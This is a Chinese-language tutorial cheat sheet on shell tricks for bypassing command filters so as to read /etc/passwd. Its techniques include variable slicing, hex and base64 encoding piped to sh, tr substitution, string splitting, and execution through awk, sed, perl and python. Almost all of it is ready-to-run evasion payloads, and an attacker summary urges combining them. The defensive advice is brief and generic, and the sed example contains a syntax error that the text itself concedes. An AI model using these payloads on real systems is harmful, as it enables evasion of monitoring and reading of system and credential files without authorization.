Unix/Linux命令过滤器绕过技术详解

前言

在Unix/Linux系统的安全测试和防御中，了解如何绕过命令过滤器是至关重要的。本文详细介绍了多种利用shell特性绕过安全限制的技术，这些技术常用于渗透测试中以检测系统安全漏洞。

0x00 基础命令介绍

cat /etc/passwd是显示系统用户信息的常用命令，但在安全设置中可能被拦截。以下是多种绕过方法：

0x01 变量截取技术

cat ${HOME:0:1}etc${HOME:0:1}passwd

技术解析：

• ${HOME:0:1}：Bash字符串切片，获取$HOME变量的第一个字符(通常为"/")
• 构造路径：将两个${HOME:0:1}结果与"etc"和"passwd"连接，形成/etc/passwd
• 绕过原理：避免直接写出完整路径，规避字符串匹配过滤

0x02 十六进制编码技术

`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`

技术解析：

• echo $'...'：输出解码后的字符串cat /etc/passwd
• 命令替换(反引号)：先执行echo命令，捕获输出并作为新命令执行
• 十六进制编码：\x20=空格，\x2f="/"，\x65="e"等

0x03 字符转换技术

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

技术解析：

• tr '!-0' '"-1'：将ASCII范围!到0的字符转换为"到1
• 特殊转换：.不受影响，但通过此方式可生成/字符
• 两次命令替换生成两个/字符，构造完整路径

0x04 十六进制转换技术

cat `xxd -r -ps <(echo 2f6574632f706173737764)`

技术解析：

• xxd -r -ps：十六进制转二进制工具
• <(...)：进程替代，创建包含命令输出的临时管道
• 2f6574632f706173737764是/etc/passwd的十六进制编码

0x05 Base64编码技术

echo Y2F0IC9ldGMvcGFzc3dk | base64 --decode | sh

技术解析：

• Y2F0IC9ldGMvcGFzc3dk：cat /etc/passwd的Base64编码
• base64 --decode：解码回原始命令
• sh：执行解码后的命令

0x06 间接引用技术

cmd='cat /etc/passwd'
bash -c "$cmd"

技术解析：

• 将命令存储在变量中
• 通过bash -c执行变量内容
• 绕过简单的命令行监控工具

0x07 命令替换技术

cat $(echo '/etc/pass' | tr ' ' ' ')wd

技术解析：

• 看似多余的tr命令(空格转空格)
• 将路径分两部分构造：/etc/pass + wd
• 避免直接写出完整路径

0x08 字符串拆分技术

part1='/etc/pas'
part2='swd'
cat $part1$part2

技术解析：

• 将敏感字符串分成两部分
• 运行时拼接变量构造完整路径
• 规避直接的字符串匹配

0x09 环境变量利用技术

export PATH_PART='passwd'
cat /etc/$PATH_PART

技术解析：

• 通过环境变量隐藏关键路径部分
• 运行时扩展变量构造完整路径
• 绕过基于静态路径的监控

0x10 awk执行技术

awk 'BEGIN {system("cat /etc/passwd")}'

技术解析：

• awk的BEGIN模式：在处理输入前执行
• system()函数：执行外部命令
• 绕过对直接命令执行的监控

0x11 sed执行技术

echo | sed 'e cat /etc/passwd'

技术解析：

• sed的e功能(某些版本支持)：执行替换结果为命令
• 注意：此语法在多数sed版本中不适用
• 正确用法应为：echo 'cat /etc/passwd' | sed 'e'

0x12 Perl执行技术

perl -e 'system("cat /etc/passwd")'

技术解析：

• perl -e：执行单行Perl代码
• system()函数：执行系统命令
• 适用于绕过基于shell语法的过滤器

0x13 Python执行技术

python -c 'import os; os.system("cat /etc/passwd")'

技术解析：

• python -c：执行单行Python代码
• os.system()：执行系统命令
• 灵活性强，可构造复杂绕过逻辑

总结与防御建议

攻击方总结：

• 组合使用多种技术可提高绕过成功率
• 根据目标环境选择合适的技术
• 不断创新和尝试新方法

防御方建议：

• 实施多层防御策略
• 监控异常命令执行模式
• 限制非必要命令执行权限
• 定期更新安全规则

掌握这些技术有助于深入理解系统安全机制，推动安全研究的进步。请始终在法律和道德框架内使用这些知识。